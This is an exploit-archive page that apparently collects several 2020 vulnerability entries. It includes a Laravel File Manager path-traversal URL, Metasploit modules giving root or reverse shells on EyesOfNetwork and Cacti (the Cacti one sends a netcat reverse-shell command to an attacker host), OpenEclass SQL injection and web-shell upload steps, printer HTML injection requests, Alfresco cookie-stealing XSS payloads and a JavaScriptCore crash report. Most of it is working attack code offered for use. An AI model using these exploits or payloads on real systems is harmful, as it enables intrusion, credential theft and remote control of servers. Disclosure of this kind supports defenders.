UniSharp Laravel File Manager version 2.0.0 suffers from an arbitrary file read vulnerability.

MD5 | 36c28a5443f575569570688658545271

# Exploit Title: UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read
# Google Dork: inurl:"laravel-filemanager?type=Files" -site:github.com -site:github.io
# Date: 2020-02-04
# Exploit Author: NgoAnhDuc
# Vendor Homepage: https://github.com/UniSharp/laravel-filemanager
# Software Link: https://github.com/UniSharp/laravel-filemanager
# Version: v2.0.0-alpha8 & v2.0.0
# Tested on: v2.0.0-alpha8 & v2.0.0
# CVE : N/A

PoC:

http://localhost/laravel-filemanager/download?working_dir=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F&type=&file=passwd

Source

This Metasploit module exploits multiple vulnerabilities in EyesOfNetwork version 5.3 and prior in order to execute arbitrary commands as root. This module takes advantage of a command injection vulnerability in the target parameter of the AutoDiscovery functionality within the EON web interface in order to write an Nmap NSE script containing the payload to disk. It then starts an Nmap scan to activate the payload. This results in privilege escalation because the apache user can execute Nmap as root. Valid credentials for a user with administrative privileges are required. However, this module can bypass authentication via two methods, i.e. by generating an API access token based on a hard-coded key, and via SQL injection. This module has been successfully tested on EyesOfNetwork 5.3 with API version 2.4.2.

MD5 | 3a699f2aa100664503fd2a6553c99d29

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'EyesOfNetwork AutoDiscovery Target Command Execution',
'Description' => %q{
This module exploits multiple vulnerabilities in EyesOfNetwork version 5.3
and prior in order to execute arbitrary commands as root.

This module takes advantage of a command injection vulnerability in the
`target` parameter of the AutoDiscovery functionality within the EON web
interface in order to write an Nmap NSE script containing the payload to
disk. It then starts an Nmap scan to activate the payload. This results in
privilege escalation because the`apache` user can execute Nmap as root.

Valid credentials for a user with administrative privileges are required.
However, this module can bypass authentication via two methods, i.e. by
generating an API access token based on a hardcoded key, and via SQLI.
This module has been successfully tested on EyesOfNetwork 5.3 with API
version 2.4.2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Clément Billac', # @h4knet - Discovery and exploit
'bcoles', # Metasploit
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
['CVE', '2020-8654'], # authenticated rce
['CVE', '2020-8655'], # nmap privesc
['CVE', '2020-8656'], # sqli auth bypass
['CVE', '2020-8657'], # hardcoded API key
['EDB', '48025']
],
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Targets' => [['Auto', { }]],
'Privileged' => true,
'DisclosureDate' => '2020-02-06',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true, #HTTPS is required for the module to work
'PAYLOAD' => 'generic/shell_reverse_tcp'
},
'DefaultTarget' => 0))
register_options [
OptString.new('TARGETURI', [true, 'Base path to EyesOfNetwork', '/']),
OptString.new('SERVER_ADDR', [true, 'EyesOfNetwork server IP address (if different from RHOST)', '']),
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false])
]
end

def nmap_path
'/usr/bin/nmap'
end

def server_addr
datastore['SERVER_ADDR'].blank? ? rhost : datastore['SERVER_ADDR']
end

def check
vprint_status("Running check")
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey')

unless res
return CheckCode::Unknown('Connection failed')
end

unless res.code == 401 && res.body.include?('api_version')
return CheckCode::Safe('Target is not an EyesOfNetwork application.')
end

version = res.get_json_document()['api_version'] rescue ''

if version.to_s.eql? ''
return CheckCode::Detected('Could not determine EyesOfNetwork version.')
end

version = Gem::Version.new version

unless version <= Gem::Version.new('2.4.2')
return CheckCode::Safe("Target is EyesOfNetwork with API version #{version}.")
end

CheckCode::Appears("Target is EyesOfNetwork with API version #{version}.")
end

def generate_api_key
default_key = "€On@piK3Y"
default_user_id = 1
key = Digest::MD5.hexdigest(default_key + default_user_id.to_s)
Digest::SHA256.hexdigest(key + server_addr)
end

def sqli_to_api_key
# Attempt to obtain the admin API key via SQL injection, using a fake password and its md5 encrypted hash
fake_pass = Rex::Text::rand_text_alpha(10)
fake_pass_md5 = Digest::MD5.hexdigest("#{fake_pass}")
user_sqli = "' union select 1,'admin','#{fake_pass_md5}',0,0,1,1,8 or '"
api_res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/eonapi/getApiKey"),
'method' => 'GET',
'vars_get' => {
'username' => user_sqli,
'password' => fake_pass
}
})

unless api_res
print_error('Connection failed.')
return
end

unless api_res.code == 200 && api_res.get_json_document.include?('EONAPI_KEY')
print_error("SQL injection to obtain API key failed")
return
end

api_res.get_json_document()['EONAPI_KEY']
end

def create_eon_user(user, password)
vprint_status("Creating user #{user} ...")

vars_post = {
user_name: user,
user_group: "admins",
user_password: password
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/eonapi/createEonUser'),
'ctype' => 'application/json',
'vars_get' => {
'apiKey' => @api_key,
'username' => @api_user
},
'data' => vars_post.to_json
})

unless res
print_warning("Failed to create user: Connection failed.")
return
end

return res
end

def verify_api_key(res)
return false unless res.code == 200

json_data = res.get_json_document
json_res = json_data['result']
return false unless json_res && json_res['description']
json_res = json_res['description']

return true if json_res && json_res.include?('SUCCESS')

return false
end

def delete_eon_user(user)
vprint_status "Removing user #{user} ..."

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/eonapi/deleteEonUser'),
'ctype' => 'application/json',
'data' => { user_name: user }.to_json,
'vars_get' => { apiKey: @api_key, username: @api_user }
})

unless res
print_warning 'Removing user #{user} failed: Connection failed'
return
end

res
end

def login(user, pass)
vprint_status "Authenticating as #{user} ..."

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'vars_post' => {
login: user,
mdp: pass
}
})

unless res
fail_with Failure::Unreachable, 'Connection failed'
end

unless res.code == 200 && res.body.include?('dashboard_view')
fail_with Failure::NoAccess, 'Authentication failed'
end

print_good "Authenticated as user #{user}"

@cookie = res.get_cookies

if @cookie.empty?
fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'
end

res
end

def create_autodiscovery_job(cmd)
vprint_status "Creating AutoDiscovery job: #{cmd}"

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
'cookie' => @cookie,
'vars_post' => {
'request' => 'autodiscover',
'job_name' => 'Internal discovery',
'job_description' => 'Internal EON discovery procedure.',
'nmap_binary' => nmap_path,
'default_template' => '',
'target[]' => cmd
}
})

unless res
fail_with Failure::Unreachable, 'Creating AutoDiscovery job failed: Connection failed'
end

unless res.body.include? 'Starting...'
fail_with Failure::Unknown, 'Creating AutoDiscovery job failed: Job failed to start'
end

res
end

def delete_autodiscovery_job(job_id)
vprint_status "Removing AutoDiscovery job #{job_id} ..."

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
'cookie' => @cookie,
'vars_get' => {
id: job_id,
delete: 1
}
})

unless res
print_warning "Removing AutoDiscovery job #{job_id} failed: Connection failed"
return
end
res
end

def execute_command(cmd, opts = {})
res = create_autodiscovery_job ";#{cmd} #"
return unless res

job_id = res.body.scan(/autodiscovery.php?id=([d]+)/).flatten.first

if job_id.empty?
print_warning 'Could not retrieve AutoDiscovery job ID. Manual removal required.'
return
end
delete_autodiscovery_job job_id
end

def cleanup
super
if @username
delete_eon_user @username
end
end

def exploit
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

@api_user = 'admin'
@api_key = generate_api_key
print_status "Using generated API key: #{@api_key}"

@username = rand_text_alphanumeric(8..12)
@password = rand_text_alphanumeric(8..12)

create_res = create_eon_user @username, @password
unless verify_api_key(create_res)
@api_key = sqli_to_api_key
fail_with Failure::NoAccess, 'Failed to obtain valid API key' unless @api_key
print_status("Using API key obtained via SQL injection: #{@api_key}")
sqli_verify = create_eon_user @username, @password
fail_with Failure::NoAccess, 'Failed to obtain valid API with sqli' unless verify_api_key(sqli_verify)
end

admin_group_id = 1
login @username, @password
unless @cookie.include? 'group_id='
@cookie << "; group_id=#{admin_group_id}"
end

nse = Rex::Text.encode_base64("local os=require "os" hostrule=function(host) os.execute("#{payload.encoded.gsub(/"/, '"')}") end action=function() end")
nse_path = "/tmp/.#{rand_text_alphanumeric 8..12}"
cmd = "echo #{nse} | base64 -d > #{nse_path};sudo #{nmap_path} localhost -sn -script #{nse_path};rm #{nse_path}"
print_status "Sending payload (#{cmd.length} bytes) ..."
execute_command cmd
end
end

Source

GUnet OpenEclass version 1.7.3 suffers from a remote SQL injection vulnerability.

MD5 | 18def0d7f68c9cdbae554622c23fb562

# Exploit Title: GUnet OpenEclass 1.7.3 E-learning platform - 'month' SQL Injection
# Google Dork: intext:"© GUnet 2003-2007"
# Date: 2020-03-02
# Exploit Author: emaragkos
# Vendor Homepage: https://www.openeclass.org/
# Software Link: http://download.openeclass.org/files/1.7/eclass-1.7.3.tar.gz
# Version: 1.7.3 (2007)
# Tested on: Ubuntu 12 (Apache 2.2.22, PHP 5.3.10, MySQL 5.5.38)
# CVE : -

Older versions are also vulnerable.

Source code:
http://download.openeclass.org/files/1.7/eclass-1.7.3.zip
http://download.openeclass.org/files/1.7/eclass-1.7.3.tar.gz

Setup instructions:
http://download.openeclass.org/files/docs/1.7/Install.pdf

Changelog:
https://download.openeclass.org/files/docs/1.7/CHANGES.txt

Manual:
https://download.openeclass.org/files/docs/1.7/eClass.pdf

############################################################################

Unauthenticated Information Disclosure

System info
127.0.0.1/modules/admin/sysinfo
(powered by phpSysInfo 2.0 that is also vulnerable)

Web-App version info
127.0.0.1/README.txt
127.0.0.1/info/about.php
127.0.0.1/upgrade/CHANGES.txt

############################################################################

(Authenticated - Requires student account) - Error-Based SQLi

https://127.0.0.1/modules/agenda/myagenda.php?month=3&year=2020

sqlmap -u "https://127.0.0.1/modules/agenda/myagenda.php?month=2&year=2020" --batch --dump

---
Parameter: month (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: month=5' AND (SELECT 9183 FROM(SELECT COUNT(*),CONCAT(0x7170717671,(SELECT (ELT(9183=9183,1))),0x716b706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Hztw&year=2020'
---

Almost every parameter will be either error-based, boolean-based or time-based vulnerable.
If you have a student account I recommend using this error-based SQLi because you will get all the database content really faster.
If you dont have an account use the following exploit that exploits an unauthenticated time-based blind injection.
It will definately be a slower proccess but you will get the administrator account pretty fast and move on with exploiting other authenticated vulnerabilities.
https://www.exploit-db.com/exploits/48106

############################################################################

(Authenticated - Requires student account) - PHP upload file extension bypass
If you have a student account you can bypass file extension restrictions and upload a PHP shell.
Register as user if the application is configured to allow registrations or use an SQLi to find an account that already exists.
Start looking for a class that you can submit an exercise as a student.
Register in that class and navigate to submit you exercise.
If you try to upload a .php file it will be renamed to .phps to prevent execution.
You can upload your PHP shell by spoofing the extension simply by renaming your .php file to .php3 or .PhP
Once you have uploaded it, open your course directory and then add "work" directory at the end
Course link example: https://127.0.0.1/courses/CS101/
Course link becomes: https://127.0.0.1/courses/CS101/work/
Directory listing will most likely be enabled by default and you will be able to view the directories.
Your shell will be in one of the multiple random alphanumeric directories that look like this /4a0c01h2nad9b/
Final shell link will look like this: https://127.0.0.1/courses/CS101/work/4a0c01h2nad9b/shell.php3

The same method works with "groups" if you cant find a class that supports submitting an exercise.
https://127.0.0.1/modules/group/group.php

############################################################################

(Authenticated - Requires student account) - View assessments of other students
If you have a student account you can view uploaded assessments from other students before or after the deadline that the professor has set.
Find the course link you are interested in.
https://127.0.0.1/courses/CS101
Add "work" directory at the end
https://127.0.0.1/courses/CS101/work/
Directory listing will most likely be enabled by default and you will be able to view and download other students' uploaded assessments.

############################################################################

(Authenticated - Requires admin account) - Upload PHP files

You have to login to the platform as an administrator or user with admin rights.
You can grab the administrator credentials as plaintext with an Unauthenticated Blind SQL Injection using the
following exploit https://www.exploit-db.com/exploits/48106 or use the authenticated SQLi for faster results.
Once you have logged in as admin:
1) Navigate to 127.0.0.1/modules/course_info/restore_course.php
2) Upload your .php shell compressed in a .zip file
3) Ignore the error message
4) Your PHP file is now uploaded to 127.0.0.1/cources/tmpUnzipping/[your-shell-name].php

############################################################################

(Authenticated - Requires admin account) - phpMyAdmin Remote Access

127.0.0.1/modules/admin/mysql
phpMyAdmin 2.10.0.2 is installed by default and allows remote logins
Once you have uploaded your shell can view the config.php file that contains the mysql password
127.0.0.1/config/config.php

############################################################################

(Authenticated - Requires admin account) - Plaintext password storage

When logged in as admin you can view all registered users credentials as plaintext.
127.0.0.1/modules/admin/listusers.php

Source

The RICOH Aficio SP 5210SF printer suffers from a html injection vulnerability.

MD5 | 62e8f31d2fb34de5d640ae94768628bc

# Exploit Title: RICOH Aficio SP 5210SF Printer - 'entryNameIn' HTML Injection
# Discovery by: Olga Villagran
# Discovery Date: 2020-03-02
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: http://support.ricoh.com/bb/html/dr_ut_e/rc3/model/sp52s/sp52s.htm?lang=es
# Product Version: RICOH Aficio SP 5210SF Printer
# Vulnerability Type: Code Injection - HTML Injection

# Steps to Produce the HTML Injection:

#1.- HTTP POST Request 'adrsGetUser.cgi':

POST /web/entry/en/address/adrsGetUser.cgi HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://xxx.xxx.xxx.xxx/web/entry/en/address/adrsList.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 402
Connection: close
Cookie: risessionid=083527814813645; cookieOnOffChecker=on; wimsesid=121318357
Upgrade-Insecure-Requests: 1

mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=1&searchSpecifyModeIn=&outputSpecifyModeIn=DEFAULT&entryIndexIn=&entryNameIn=&entryFilterIn=ALL_O&searchItemIn=SEARCH_INDEX_O&searchDataIn=&pages=&listCountIn=10&totalCount=8&offset=0&00001=ADRS_ENTRY_USER&00002=ADRS_ENTRY_USER&00003=ADRS_ENTRY_USER&00004=ADRS_ENTRY_USER&00007=ADRS_ENTRY_USER&00008=ADRS_ENTRY_USER&00010=ADRS_ENTRY_USER&00012=ADRS_ENTRY_USER


#HTTP Response :

HTTP/1.0 200 OK

Date: Mon, 02 Mar 2020 22:22:44 GMT
Server: Web-Server/3.0
Content-Type: text/html; charset=UTF-8
Expires: Mon, 02 Mar 2020 22:22:44 GMT
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: cookieOnOffChecker=on; path=/
Connection: close


#2.- HTTP POST Request 'adrsSetUser.cgi':


POST /web/entry/en/address/adrsSetUser.cgi HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://xxx.xxx.xxx.xxx/web/entry/en/address/adrsGetUser.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 607
Connection: close
Cookie: risessionid=083527814813645; cookieOnOffChecker=on; wimsesid=121318357
Upgrade-Insecure-Requests: 1

mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=&searchSpecifyModeIn=&outputSpecifyModeIn=&inputSpecifyModeIn=WRITE&wayFrom=adrsGetUser.cgi%3FoutputSpecifyModeIn%3DSETTINGS&wayTo=adrsList.cgi%3FsearchSpecifyModeIn%3DNONE&isSelfPasswordEditMode=false&entryIndexIn=00005&entryNameIn=test&entryDisplayNameIn=test&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&userCodeIn=&smtpAuthAccountIn=AUTH_SYSTEM_O&folderAuthAccountIn=AUTH_SYSTEM_O&ldapAuthAccountIn=AUTH_SYSTEM_O&entryUseIn=ENTRYUSE_TO_O&faxDestIn=&mailAddressIn=&isCertificateExist=false&folderProtocolIn=SMB_O&folderPathNameIn=


#HTTP Response :

HTTP/1.0 200 OK

Date: Mon, 02 Mar 2020 22:23:10 GMT
Server: Web-Server/3.0
Content-Type: text/html; charset=UTF-8
Expires: Mon, 02 Mar 2020 22:23:10 GMT
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: cookieOnOffChecker=on; path=/
Connection: close

Source

Alfresco version 5.2.4 suffers from multiple persistent cross site scripting vulnerabilities.

MD5 | 9a68ded6b119a4f8aa4a356c744ceadb

# Exploit Title: Alfresco 5.2.4 - Persistent Cross-Site Scripting
# Date: 2020-03-02
# Exploit Author: Romain LOISEL & Alexandre ZANNI (https://pwn.by/noraj) - Pentesters from Orange Cyberdefense France
# Vendor Homepage: https://www.alfresco.com/
# Software Link: https://www.alfresco.com/ecm-software
# Version: Alfresco before 5.2.4
# Tested on: 5.2.4
# CVE : CVE-2020-8776, CVE-2020-8777, CVE-2020-8778
# Security advisory: https://gitlab.com/snippets/1937042


### Stored XSS n°1 - Document URL - CVE-2020-8776 (found by Alexandre ZANNI)

Each file has a set of properties than can be edited by any authenticated user
that have write access on the project or the file.

The **URL** property of the file provided by the user is injected in the `href`
attribute of the HTML link without a proper escaping.

- Where? In URL property
- Payload: `" onmouseover="alert(document.cookie)"`
- Details: On the document explorer, the value is injected in a span tag. But on the detailed view of the file, it's inserted in the `href` attribute of a `a` tag. `http://` is prefixed before the payload provided by the user but can be bypassed. The generated vulnerable link will look like that:
```html
http://" onmouseover="alert(document.cookie)"
```
- Privileges: It requires write privileges to store it, any user with read access can see it.
- Steps to reproduce:
1. Go to _Document Library_
2. Upload a file or click _Edit properties_ on an existing file
3. Enter the payload in the URL property
4. Click on the file title to go on the detailed page of the file
5. Hover the displayed link to trigger the XSS

### Stored XSS n°2 - User profile photo upload / Document viewing - CVE-2020-8777 (found by Alexandre ZANNI)

There is no file restriction for photo uploading in the user profile page.
Then the profile picture can be seen in the browser.

- Where? In user profile photo
- Payload:
```xml






alert('XSS - Orange Cyberdefense');


```
- Details: The XSS is not triggerred everywhere, only with the _View in browser_ feature.
- Privileges: Any authenticated user can store it or trigger it.
- Steps to reproduce:
1. Go to your user profile page (`/share/page/user//profile`)
2. In the _Photo_ section, click _Upload_ and upload the SVG payload file
3. Use the document browser or any dashboard to find the uploaded file
4. Click on the title to go to the detailed page of the file
5. On the right panel, click the _View in browser_ link to trigger the XSS (on load)

### Stored XSS n°3 - Generic file upload / Document viewing - CVE-2020-8778 (found by Romain LOISEL)

This is the generic version of the previous XSS. Uploading dangerous file types
is allowed and then they can be viewed to triggered the XSS. The difference
between the two is that this one requires right access on a project to upload
documents so the XSS is not exploitable with a read only account but the
previous one can be exploited by any user as any user is allowed to have a
profile photo.

- Where? Uploading a document anywhere
- Payload: any file type that can store and execute a JavaScript payload (eg. HTML, SVG, XML, etc.)
- Details: The XSS is triggerred only with the _View in browser_ feature.
- Privileges: Any authenticated user with write access to a project can store it and any user that have read access to the file or project can trigger it.
- Steps to reproduce:
1. Go to a project dashboard
2. IClick _Upload_ and upload a dangerous file
3. Use the document browser or any dashboard to find the uploaded file
4. Click on the title to go to the detailed page of the file
5. On the right panel, click the _View in browser_ link to trigger the XSS (on load)

Source

The RICOH Aficio SP 5200S printer suffers from a html injection vulnerability.

MD5 | 0892ce43eb0a4f1574d20e37f931152d

# Exploit Title: RICOH Aficio SP 5200S Printer - 'entryNameIn' HTML Injection
# Discovery by: Paulina Girón
# Discovery Date: 2020-03-02
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: http://support.ricoh.com/bb/html/dr_ut_e/re2/model/sp52s/sp52s.htm
# Product Version: RICOH Aficio SP 5200S Printer
# Vulnerability Type: Code Injection - HTML Injection

# Steps to Produce the HTML Injection:

#1.- HTTP POST Request 'adrsGetUser.cgi':

POST /web/entry/es/address/adrsGetUser.cgi HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 447
Cache-Control: max-age=0
Origin: http://xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx.xxx.xxx.xxx/web/entry/es/address/adrsList.cgi
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie: risessionid=059501971327590; cookieOnOffChecker=on; wimsesid=110507639
Connection: close

mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=1&searchSpecifyModeIn=&outputSpecifyModeIn=DEFAULT&entryIndexIn=&entryNameIn=&entryFilterIn=ALL_O&searchItemIn=SEARCH_INDEX_O&searchDataIn=&pages=&listCountIn=10&totalCount=13&offset=0&00001=ADRS_ENTRY_USER&00002=ADRS_ENTRY_USER&00003=ADRS_ENTRY_USER&00004=ADRS_ENTRY_USER&00005=ADRS_ENTRY_USER&00006=ADRS_ENTRY_USER&00007=ADRS_ENTRY_USER&00008=ADRS_ENTRY_USER&00009=ADRS_ENTRY_USER&00010=ADRS_ENTRY_USER

#HTTP Response :

HTTP/1.0 200 OK
Date: Mon, 02 Mar 2020 15:15:59 GMT
Server: Web-Server/3.0
Content-Type: text/html; charset=UTF-8
Expires: Mon, 02 Mar 2020 15:15:59 GMT
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: cookieOnOffChecker=on; path=/
Connection: close



#2.- HTTP POST Request 'adrsSetUser.cgi':

POST /web/entry/es/address/adrsSetUser.cgi HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 611
Cache-Control: max-age=0
Origin: http://xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx.xxx.xxx.xxx/web/entry/es/address/adrsGetUser.cgi
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie: risessionid=059501971327590; cookieOnOffChecker=on; wimsesid=110507639
Connection: close

mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=&searchSpecifyModeIn=&outputSpecifyModeIn=&inputSpecifyModeIn=WRITE&wayFrom=adrsGetUser.cgi%3FoutputSpecifyModeIn%3DSETTINGS&wayTo=adrsList.cgi%3FsearchSpecifyModeIn%3DNONE&isSelfPasswordEditMode=false&entryIndexIn=00012&entryNameIn=prueba&entryDisplayNameIn=prueba&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&userCodeIn=&smtpAuthAccountIn=AUTH_SYSTEM_O&folderAuthAccountIn=AUTH_SYSTEM_O&ldapAuthAccountIn=AUTH_SYSTEM_O&entryUseIn=ENTRYUSE_TO_O&faxDestIn=&mailAddressIn=&isCertificateExist=false&folderProtocolIn=SMB_O&folderPathNameIn=

#HTTP Response :

HTTP/1.0 200 OK
Date: Mon, 02 Mar 2020 15:17:10 GMT
Server: Web-Server/3.0
Content-Type: text/html; charset=UTF-8
Expires: Mon, 02 Mar 2020 15:17:10 GMT
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: cookieOnOffChecker=on; path=/
Connection: close

Source

An issue in JSC leaves the data flow graph inconsistent. While fuzzing JavaScriptCore with fuzzilli, the researcher found a crash condition in JSC.

MD5 | 8ff3ad6a06cbb649d99f59f076aa906e

JSC: DFG: ObjectAllocationSinkingPhase leaves data flow graph inconsistent

While fuzzing JavaScriptCore with fuzzilli, I encountered the following (simplified and commented) JavaScript program which crashes jsc from current HEAD and the stable release:

function v9() {
const v14 = {};
const v15 = {a: 42};
v14.phantom = v15;

const v17 = [1];
v17.toString = [];
if (!v17) {
// On this path (which is never taking at runtime),
// v14 does not escape and thus becomes a sink candidate.
return 42;
}

// This seems to create the necessary control flow form
// to trigger the bug.
for (const v18 of "asdf") {
v14.b = 43;
}

// v19 will now be an edge to a PhantomAllocation.
const v19 = v14.phantom;

let r;
for (let i = 0; i < 2; i++) {
r = v19;
}

return r;
}

for (let v27 = 0; v27 < 100000; v27++) {
v9();
}

This sample crashes, in debug builds, with

At @23: validation failed: !edge->isPhantomAllocation() (../../Source/JavaScriptCore/dfg/DFGValidate.cpp:912).
...

indicating a graph inconsistency. In particular, a live operation node (in this case the Return) points to a PhantomObjectAllocation node, which is merely a placeholder indicating that an object allocation was removed as it isn't needed on every CFG path. This scenario should never happen. Instead, the user node (Return) should point to a Materialization node that does allocate ("materialize") the object on the paths on which it is needed.

The bug occurs in the ObjectAllocationSinkingPhase. This optimization attempts to compute sinking candidates (heap allocations that aren't needed on all CFG paths) by tracking all Allocations and Pointers to them with a specialized abstract interpreter. For example, after abstractly interpreting the first three lines of v9, there are now two Allocations (v14, v15) and three Pointers to them (v14 -> v14, v15 -> v15, v14.phantom -> v15). The abstract interpreter runs as a fixpoint iteration, each time traversing the entire graph in pre order [1] and merging the final state of a CFG block with the initial state of all its successor blocks. However, while the state merging function [2] appears to copy newly appeared Allocations to successor blocks, it does not appear to copy new Pointers to any successor blocks once they have been reached for the first time. In this case, that is a problem as the pointer v19 (pointing to v15) only "appears" during the second iteration. This is because the PutStructure operation that is required to "get past" the StructureCheck in front of the assignment to v19 is only executed at the very end of the first iteration due to the blocks scheduling. As such, in the final loop, v19 is not known to point to v15, and thus v15 is converted into a PhantomAllocation node without updating v19 to point to its Materialization, leading to the graph inconsistency.

This inconsistency can then lead to various problems later on, for example, the following slight variation of the above code causes JSC to incorrectly output "false" because the ConstantFolding pass gets confused by the references to PhantomAllocations and incorrectly replaces the CompareEq with the constant false:

function v9() {
const v14 = {};
const v15 = {a: 42};
v14.phantom = v15;

const v17 = [1];
v17.toString = [];
if (!v17) {
return 42;
}

for (const v18 of "asdf") {
v14.b = 43;
}

const v19 = v14.phantom;

let r;
for (let i = 0; i < 2; i++) {
r = v19 == v19;
}

return r;
}

for (let v27 = 0; v27 < 100000; v27++) {
v9();
}
print(v9());

I haven't thoroughly invested the other optimization passes, but I suspect that there could be others that behave erroneously in this situation and potentially cause memory safety violations. As such I'm filing this as security issue as a precaution.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

[1] https://github.com/WebKit/webkit/blob/a2ddf838e7370aae3f5ed99f090f91f34b91c8bd/Source/JavaScriptCore/dfg/DFGObjectAllocationSinkingPhase.cpp#L777
[2] https://github.com/WebKit/webkit/blob/a2ddf838e7370aae3f5ed99f090f91f34b91c8bd/Source/JavaScriptCore/dfg/DFGObjectAllocationSinkingPhase.cpp#L454





Found by: saelo@google.com

Source

graph_realtime.php in Cacti 1.2.8 allows remote attackers to execute arbitrary OS commands via shell metacharacters in a cookie if a guest user has the graph real-time privilege.

MD5 | e3413f767022b61c38a8008949f806d6

# Exploit Title: Cacti v1.2.8 - Unauthenticated Remote Code Execution (Metasploit)
# Date: 2020-02-29
# Exploit Author: Lucas Amorim (sh286)s
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: Linux
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Cacti v1.2.8 Unauthenticated Remote Code Execution',
'Description' => %q{graph_realtime.php in Cacti 1.2.8 allows remote attackers to
execute arbitrary OS commands via shell metacharacters in a cookie, if a guest user has
the graph real-time privilege.},
'Author' =>
[
'Lucas Amorim ' # MSF module
],
'License' => MSF_LICENSE,
'Platform' => 'php',
'References' =>
[
['CVE', '2020-8813']
],
'DisclosureDate' => 'Feb 21 2020',
'Privileged' => true,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'SSL' => true,
},
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(443),
OptString.new('RPATH', [ false, "path to cacti", "" ])
])

deregister_options('VHOST')
end

def check
res = send_request_raw(
'method' => 'GET',
'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init"
)

if res && res.code == 200
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def send_payload()
exec_payload=(";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % [datastore['LHOST'], datastore['LPORT']])
send_request_raw(
'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init",
'method' => 'GET',
'cookie' => "Cacti=#{Rex::Text.uri_encode(exec_payload, mode = 'hex-normal')}"
)
end

def exploit
if check == Exploit::CheckCode::Vulnerable
print_good("Target seems to be a vulnerable")
send_payload()
else
print_error("Target does not seem to be vulnerable. Will exit now...")
end
end
end

Source

